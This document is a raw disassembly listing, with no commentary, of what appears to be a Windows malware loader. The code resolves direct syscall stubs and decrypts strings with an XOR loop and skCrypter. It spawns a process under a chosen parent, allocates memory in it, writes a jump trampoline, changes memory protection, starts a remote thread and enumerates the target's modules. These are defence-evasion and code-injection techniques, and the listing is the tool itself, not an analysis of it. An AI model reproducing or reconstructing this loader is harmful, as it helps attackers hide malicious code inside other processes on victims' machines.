lea rax, [rbp + 0x5340]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5360]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x5380]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x53a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x53cf]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x53d0]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x53d0]
mov rcx, qword [rbp + 0x5970]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x53d0]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216597cd3
lea rbx, [0x216843ea9]
jmp 0x216597cda
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
call sym.z.dll_deC__
mov dword [rbp + 0x5928], 0xffffffff
cmp dword [rbp + 0x5928], 0
jne 0x216597d25
lea rax, [0x216843ef7]
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x53f2]
lea rdx, [rbp + 0x53ff]
mov rcx, rax
call fcn.216591bca
lea rax, [rbp + 0x53f2]
mov qword [rbp + 0x58e0], rax
mov rax, qword [rbp + 0x58e0]
mov qword [rbp + 0x58d8], rax
mov rax, qword [rbp + 0x58d8]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x216597e00
mov rax, qword [rbp + 0x58e0]
mov rdx, qword [rbp + 0x58e0]
mov qword [rbp + 0x58d0], rdx
mov qword [rbp + 0x58c8], rax
mov dword [rbp + 0x58c4], 0
jmp 0x216597df6
mov eax, dword [rbp + 0x58c4]
movsxd rdx, eax
mov rax, qword [rbp + 0x58c8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x58c4]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x58d0]
mov eax, dword [rbp + 0x58c4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x58c4], 1
cmp dword [rbp + 0x58c4], 0xc
jle 0x216597d97
nop
lea rax, [rbp + 0x53f2]
mov rcx, rax
call sym.z.dll_GetParentHandle_char_const_
mov qword [rbp + 0x5920], rax
cmp qword [rbp + 0x5920], 0xffffffffffffffff
jne 0x216597e2a
mov ebx, 0
jmp 0x2165997ce
lea rax, [rbp + 0x5400]
lea rdx, [rbp + 0x543e]
mov rcx, rax
call fcn.216591c44
lea rax, [rbp + 0x5400]
mov qword [rbp + 0x58b8], rax
mov rax, qword [rbp + 0x58b8]
mov qword [rbp + 0x58b0], rax
mov rax, qword [rbp + 0x58b0]
movzx eax, byte [rax + 0x2f]
test al, al
setne al
test al, al
je 0x216597f05
mov rax, qword [rbp + 0x58b8]
mov rdx, qword [rbp + 0x58b8]
mov qword [rbp + 0x58a8], rdx
mov qword [rbp + 0x58a0], rax
mov dword [rbp + 0x589c], 0
jmp 0x216597efb
mov eax, dword [rbp + 0x589c]
movsxd rdx, eax
mov rax, qword [rbp + 0x58a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x589c]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x58a8]
mov eax, dword [rbp + 0x589c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x589c], 1
cmp dword [rbp + 0x589c], 0x2f
jle 0x216597e9c
nop
lea rdx, [rbp + 0x5400]
lea rax, [rbp + 0x2290]
mov rcx, qword [rbp + 0x5920]
mov r8, rcx
mov rcx, rax
call sym.z.dll_SpawnProc_char__void_
mov rax, qword [rbp + 0x2290]
cmp rax, 0xffffffffffffffff
je 0x216597f3f
mov rax, qword [rbp + 0x2298]
cmp rax, 0xffffffffffffffff
jne 0x216597f49
mov ebx, 0
jmp 0x2165997ce
mov rax, qword [rbp + 0x2290]
mov qword [rbp + 0x5918], rax
lea rax, [rbp + 0x543f]
lea rdx, [rbp + 0x544e]
mov rcx, rax
call fcn.216591dd6
lea rax, [rbp + 0x543f]
mov qword [rbp + 0x5890], rax
mov rax, qword [rbp + 0x5890]
mov qword [rbp + 0x5888], rax
mov rax, qword [rbp + 0x5888]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x216598032
mov rax, qword [rbp + 0x5890]
mov rdx, qword [rbp + 0x5890]
mov qword [rbp + 0x5880], rdx
mov qword [rbp + 0x5878], rax
mov dword [rbp + 0x5874], 0
jmp 0x216598028
mov eax, dword [rbp + 0x5874]
movsxd rdx, eax
mov rax, qword [rbp + 0x5878]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5874]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5880]
mov eax, dword [rbp + 0x5874]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5874], 1
cmp dword [rbp + 0x5874], 0xe
jle 0x216597fc9
nop
lea rbx, [rbp + 0x543f]
lea rax, str.Kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5910], rax
lea rax, [rbp + 0x2288]
mov rdx, qword [rbp + 0x5910]
mov qword [rax], rdx
pxor xmm0, xmm0
movups xmmword [rbp + 0x2270], xmm0
movq qword [rbp + 0x227e], xmm0
mov byte [rbp + 0x2270], 0x48
mov byte [rbp + 0x2271], 0xb8
mov byte [rbp + 0x227a], 0x49
mov byte [rbp + 0x227b], 0xc7
mov byte [rbp + 0x227c], 0xc0
mov byte [rbp + 0x227d], 1
mov byte [rbp + 0x2281], 0x48
mov byte [rbp + 0x2282], 0x31
mov byte [rbp + 0x2283], 0xd2
mov byte [rbp + 0x2284], 0xff
mov byte [rbp + 0x2285], 0xe0
movzx eax, byte [rbp + 0x2288]
mov byte [rbp + 0x2272], al
movzx eax, byte [rbp + 0x2289]
mov byte [rbp + 0x2273], al
movzx eax, byte [rbp + 0x228a]
mov byte [rbp + 0x2274], al
movzx eax, byte [rbp + 0x228b]
mov byte [rbp + 0x2275], al
movzx eax, byte [rbp + 0x228c]
mov byte [rbp + 0x2276], al
movzx eax, byte [rbp + 0x228d]
mov byte [rbp + 0x2277], al
movzx eax, byte [rbp + 0x228e]
mov byte [rbp + 0x2278], al
movzx eax, byte [rbp + 0x228f]
mov byte [rbp + 0x2279], al
mov qword [rbp + 0x2268], 0
mov qword [rbp + 0x2260], 0
mov dword [rbp + 0x224c], 0
mov qword [rbp + 0x2240], 0xe
mov qword [rbp + 0x2238], 0x16
mov r10, qword [sym.z.dll_xjlbQmXQzVwzhQpvrbf]
lea rcx, [rbp + 0x2240]
lea rdx, [rbp + 0x2268]
mov rax, qword [rbp + 0x5918]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x5450]
lea rdx, [rbp + 0x544f]
mov rcx, rax
call fcn.216591e60
mov rax, qword [rbp + 0x5450]
mov rdx, qword [rbp + 0x5458]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x5460]
mov rdx, qword [rbp + 0x5468]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov rax, qword [rbp + 0x5470]
mov qword [rbp + 0x60], rax
mov edx, dword [rbp + 0x5928]
lea rax, [rbp + 0x40]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_40___char_50___char_48__char____skc::skCrypter_40___char_50___char_48__char___long_
mov r10, qword [sym.z.dll_xjlbQmXQzVwzhQpvrbf]
lea rcx, [rbp + 0x2238]
lea rdx, [rbp + 0x2260]
mov rax, qword [rbp + 0x5918]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x5480]
lea rdx, [rbp + 0x547f]
mov rcx, rax
call fcn.216591fb2
mov rax, qword [rbp + 0x5480]
mov rdx, qword [rbp + 0x5488]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x5490]
mov rdx, qword [rbp + 0x5498]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov rax, qword [rbp + 0x549e]
mov qword [rbp + 0x5e], rax
mov edx, dword [rbp + 0x5928]
lea rax, [rbp + 0x40]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_38___char_50___char_48__char____skc::skCrypter_38___char_50___char_48__char___long_
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x54ad]
mov rcx, rax
call fcn.2165920f4
mov r8, qword [rbp + 0x2260]
lea rax, [rbp + 0x222a]
mov qword [rbp + 0x5868], rax
mov rax, qword [rbp + 0x5868]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x216598385
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x222a]
mov qword [rbp + 0x5860], rdx
mov qword [rbp + 0x5858], rax
mov dword [rbp + 0x5854], 0
jmp 0x21659837b
mov eax, dword [rbp + 0x5854]
movsxd rdx, eax
mov rax, qword [rbp + 0x5858]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5854]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5860]
mov eax, dword [rbp + 0x5854]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5854], 1
cmp dword [rbp + 0x5854], 0xd
jle 0x21659831c
nop
lea rax, [rbp + 0x222a]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.216591370
mov dword [rbp + 0x5850], 0
jmp 0x2165983c1
mov eax, dword [rbp + 0x5850]
cdqe
mov byte [rbp + rax + 0x222a], 0
add dword [rbp + 0x5850], 1
cmp dword [rbp + 0x5850], 0xd
jle 0x2165983aa
nop
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x54ae]
mov rcx, rax
call fcn.216592176
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x222a], rax
mov rax, qword [rbp + 0x46]
mov qword [rbp + 0x2230], rax
mov r8, qword [rbp + 0x2268]
lea rax, [rbp + 0x222a]
mov qword [rbp + 0x5848], rax
mov rax, qword [rbp + 0x5848]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x2165984b2
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x222a]
mov qword [rbp + 0x5840], rdx
mov qword [rbp + 0x5838], rax
mov dword [rbp + 0x5834], 0
jmp 0x2165984a8
mov eax, dword [rbp + 0x5834]
movsxd rdx, eax
mov rax, qword [rbp + 0x5838]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5834]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5840]
mov eax, dword [rbp + 0x5834]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5834], 1
cmp dword [rbp + 0x5834], 0xd
jle 0x216598449
nop
lea rax, [rbp + 0x222a]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.216591370
mov dword [rbp + 0x5808], 0
jmp 0x2165984ee
mov eax, dword [rbp + 0x5808]
cdqe
mov byte [rbp + rax + 0x222a], 0
add dword [rbp + 0x5808], 1
cmp dword [rbp + 0x5808], 0xd
jle 0x2165984d7
nop
mov r10, qword [sym.z.dll_wUpcQZMqECOkbexNCmX]
lea rax, [rbp + 0x2b92]
mov qword [rbp + 0x5828], rax
mov rax, qword [rbp + 0x5828]
mov qword [rbp + 0x5820], rax
mov rax, qword [rbp + 0x5820]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x2165985c4
mov rax, qword [rbp + 0x5828]
mov rdx, qword [rbp + 0x5828]
mov qword [rbp + 0x5818], rdx
mov qword [rbp + 0x5810], rax
mov dword [rbp + 0x580c], 0
jmp 0x2165985ba
mov eax, dword [rbp + 0x580c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5810]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x580c]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5818]
mov eax, dword [rbp + 0x580c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x580c], 1
cmp dword [rbp + 0x580c], 0xb
jle 0x21659855b
nop
lea r8, [rbp + 0x2b92]
mov rdx, qword [rbp + 0x2268]
mov rax, qword [rbp + 0x5918]
lea rcx, [rbp + 0x2258]
mov qword [rsp + 0x20], rcx
mov r9d, 0xc
mov rcx, rax
call r10
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x54b0]
lea rdx, [rbp + 0x54af]
mov rcx, rax
call fcn.2165921f8
mov rax, qword [rbp + 0x54b0]
mov rdx, qword [rbp + 0x54b8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x54c0]
mov rdx, qword [rbp + 0x54c8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov rax, qword [rbp + 0x54cb]
mov rdx, qword [rbp + 0x54d3]
mov qword [rbp + 0x5b], rax
mov qword [rbp + 0x63], rdx
mov edx, dword [rbp + 0x5928]
lea rax, [rbp + 0x40]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_43___char_50___char_48__char____skc::skCrypter_43___char_50___char_48__char___long_
mov r10, qword [sym.z.dll_wUpcQZMqECOkbexNCmX]
mov r9, qword [rbp + 0x2238]
mov rdx, qword [rbp + 0x2260]
lea r8, [rbp + 0x2270]
mov rax, qword [rbp + 0x5918]
lea rcx, [rbp + 0x2258]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x54e0]
lea rdx, [rbp + 0x54df]
mov rcx, rax
call fcn.216592362
mov rax, qword [rbp + 0x54e0]
mov rdx, qword [rbp + 0x54e8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x54f0]
mov rdx, qword [rbp + 0x54f8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movzx eax, byte [rbp + 0x5500]
mov byte [rbp + 0x60], al
mov edx, dword [rbp + 0x5928]
lea rax, [rbp + 0x40]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_33___char_50___char_48__char____skc::skCrypter_33___char_50___char_48__char___long_
cmp dword [rbp + 0x5928], 0
je 0x2165987ab
lea rax, [rbp + 0x5510]
lea rdx, [rbp + 0x550f]
mov rcx, rax
call fcn.21659247c
mov rax, qword [rbp + 0x5510]
mov rdx, qword [rbp + 0x5518]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5520]
mov rdx, qword [rbp + 0x5528]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x5530]
mov rdx, qword [rbp + 0x5538]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x5540]
mov rdx, qword [rbp + 0x5548]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x5550]
mov rdx, qword [rbp + 0x5558]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movzx eax, byte [rbp + 0x5560]
mov byte [rbp + 0x30], al
lea rax, [rbp - 0x20]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_81___char_50___char_48__char____skc::skCrypter_81___char_50___char_48__char__
mov ebx, 1
jmp 0x2165997ce
mov r10, qword [sym.z.dll_XOhOzxOxOQnEqJdBymH]
lea r8, [rbp + 0x2238]
lea rdx, [rbp + 0x2260]
mov rax, qword [rbp + 0x5918]
lea rcx, [rbp + 0x224c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x5570]
lea rdx, [rbp + 0x556f]
mov rcx, rax
call fcn.216592716
mov rax, qword [rbp + 0x5570]
mov rdx, qword [rbp + 0x5578]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5580]
mov rdx, qword [rbp + 0x5588]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x5590]
mov byte [rbp], al
mov edx, dword [rbp + 0x5928]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_33___char_50___char_48__char____skc::skCrypter_33___char_50___char_48__char___long_
mov r10, qword [sym.z.dll_nxlsXNlwWiXLPrmFmyw]
mov rcx, qword [rbp + 0x2268]
mov rdx, qword [rbp + 0x2260]
mov r8, qword [rbp + 0x5918]
lea rax, [rbp + 0x2250]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call r10
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x55a0]
lea rdx, [rbp + 0x559f]
mov rcx, rax
call fcn.216592830
mov rax, qword [rbp + 0x55a0]
mov rdx, qword [rbp + 0x55a8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x55b0]
mov rdx, qword [rbp + 0x55b8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x55c0]
mov byte [rbp], al
mov edx, dword [rbp + 0x5928]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_33___char_50___char_48__char____skc::skCrypter_33___char_50___char_48__char___long_
mov r9, qword [sym.z.dll_dmKVdIVikZsBguCmKHy]
mov rax, qword [rbp + 0x2250]
mov r8d, 0
mov edx, 0xff
mov rcx, rax
call r9
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x55d0]
lea rdx, [rbp + 0x55cf]
mov rcx, rax
call fcn.21659294a
mov rax, qword [rbp + 0x55d0]
mov rdx, qword [rbp + 0x55d8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x55e0]
mov rdx, qword [rbp + 0x55e8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x55f0]
mov byte [rbp], al
mov edx, dword [rbp + 0x5928]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_33___char_50___char_48__char____skc::skCrypter_33___char_50___char_48__char___long_
lea rax, [rbp + 0x2b92]
mov qword [rbp + 0x5800], rax
mov rax, qword [rbp + 0x5800]
mov qword [rbp + 0x57f8], rax
mov rax, qword [rbp + 0x57f8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x216598a5c
mov rax, qword [rbp + 0x5800]
mov rdx, qword [rbp + 0x5800]
mov qword [rbp + 0x57f0], rdx
mov qword [rbp + 0x57e8], rax
mov dword [rbp + 0x57e4], 0
jmp 0x216598a52
mov eax, dword [rbp + 0x57e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x57e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x57e4]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x57f0]
mov eax, dword [rbp + 0x57e4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x57e4], 1
cmp dword [rbp + 0x57e4], 0xb
jle 0x2165989f3
nop
lea rax, [rbp + 0x2b92]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x5908], rax
lea rax, [rbp + 0x2b80]
mov qword [rbp + 0x57d8], rax
mov rax, qword [rbp + 0x57d8]
mov qword [rbp + 0x57d0], rax
mov rax, qword [rbp + 0x57d0]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x216598b46
mov rax, qword [rbp + 0x57d8]
mov rdx, qword [rbp + 0x57d8]
mov qword [rbp + 0x57c8], rdx
mov qword [rbp + 0x57c0], rax
mov dword [rbp + 0x57bc], 0
jmp 0x216598b3c
mov eax, dword [rbp + 0x57bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x57c0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x57bc]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x57c8]
mov eax, dword [rbp + 0x57bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x57bc], 1
cmp dword [rbp + 0x57bc], 0xf
jle 0x216598add
nop
lea rdx, [rbp + 0x2b80]
mov rax, qword [rbp + 0x5908]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5900], rax
lea rax, [rbp - 0x20]
lea rdx, [rbp + 0x55fa]
mov rcx, rax
call fcn.216592a64
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x222a], rax
mov rax, qword [rbp - 0x1a]
mov qword [rbp + 0x2230], rax
lea rax, [rbp + 0x222a]
mov qword [rbp + 0x57b0], rax
mov rax, qword [rbp + 0x57b0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x216598c47
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x222a]
mov qword [rbp + 0x57a8], rdx
mov qword [rbp + 0x57a0], rax
mov dword [rbp + 0x579c], 0
jmp 0x216598c3d
mov eax, dword [rbp + 0x579c]
movsxd rdx, eax
mov rax, qword [rbp + 0x57a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x579c]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x57a8]
mov eax, dword [rbp + 0x579c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x579c], 1
cmp dword [rbp + 0x579c], 0xd
jle 0x216598bde
nop
lea rax, [rbp + 0x222a]
mov rdx, qword [rbp + 0x5900]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.216591370
mov dword [rbp + 0x5798], 0
jmp 0x216598c8d
mov eax, dword [rbp + 0x5798]
cdqe
mov byte [rbp + rax + 0x222a], 0
add dword [rbp + 0x5798], 1
cmp dword [rbp + 0x5798], 0xd
jle 0x216598c76
nop
mov rax, qword [rbp + 0x5900]
mov qword [rbp + 0x58f8], rax
mov rdx, qword [rbp + 0x58f8]
mov rax, qword [rbp + 0x5908]
sub rdx, rax
mov dword [rbp + 0x58f4], edx
lea rax, [rbp + 0x221d]
lea rdx, [rbp + 0x55fb]
mov rcx, rax
call fcn.216592ae6
lea rax, [rbp + 0x221d]
mov qword [rbp + 0x5790], rax
mov rax, qword [rbp + 0x5790]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x216598d89
lea rax, [rbp + 0x221d]
lea rdx, [rbp + 0x221d]
mov qword [rbp + 0x5788], rdx
mov qword [rbp + 0x5780], rax
mov dword [rbp + 0x577c], 0
jmp 0x216598d7f
mov eax, dword [rbp + 0x577c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5780]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x577c]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5788]
mov eax, dword [rbp + 0x577c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x577c], 1
cmp dword [rbp + 0x577c], 0xc
jle 0x216598d20
nop
lea rax, [rbp + 0x221d]
mov edx, dword [rbp + 0x58f4]
mov r8d, edx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.216591370
mov dword [rbp + 0x5778], 0
jmp 0x216598dce
mov eax, dword [rbp + 0x5778]
cdqe
mov byte [rbp + rax + 0x221d], 0
add dword [rbp + 0x5778], 1
cmp dword [rbp + 0x5778], 0xc
jle 0x216598db7
nop
lea rcx, [rbp + 0x20c]
lea rdx, [rbp + 0x210]
mov rax, qword [rbp + 0x5918]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x21659926a
mov dword [rbp + 0x5a2c], 0
jmp 0x21659924c
mov eax, dword [rbp + 0x5a2c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x210]
lea rcx, [rbp + 0x90]
mov rax, qword [rbp + 0x5918]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x216599245
lea rax, [rbp + 0x55fc]
mov rcx, rax
call fcn.216602570
lea rcx, [rbp + 0x55fc]
lea rdx, [rbp + 0x90]
lea rax, [rbp + 0x70]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x55fc]
mov rcx, rax
call fcn.2166025a0
lea rax, [rbp + 0x2b92]
mov qword [rbp + 0x5770], rax
mov rax, qword [rbp + 0x5770]
mov qword [rbp + 0x5768], rax
mov rax, qword [rbp + 0x5768]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x216598f56
mov rax, qword [rbp + 0x5770]
mov rdx, qword [rbp + 0x5770]
mov qword [rbp + 0x5760], rdx
mov qword [rbp + 0x5758], rax
mov dword [rbp + 0x5754], 0
jmp 0x216598f4c
mov eax, dword [rbp + 0x5754]
movsxd rdx, eax
mov rax, qword [rbp + 0x5758]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5754]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5760]
mov eax, dword [rbp + 0x5754]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5754], 1
cmp dword [rbp + 0x5754], 0xb
jle 0x216598eed
nop
lea rdx, [rbp + 0x2b92]
lea rax, [rbp + 0x70]
mov r8d, 0
mov rcx, rax
call fcn.2165bfbe0
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x216599239
mov eax, dword [rbp + 0x5a2c]
cdqe
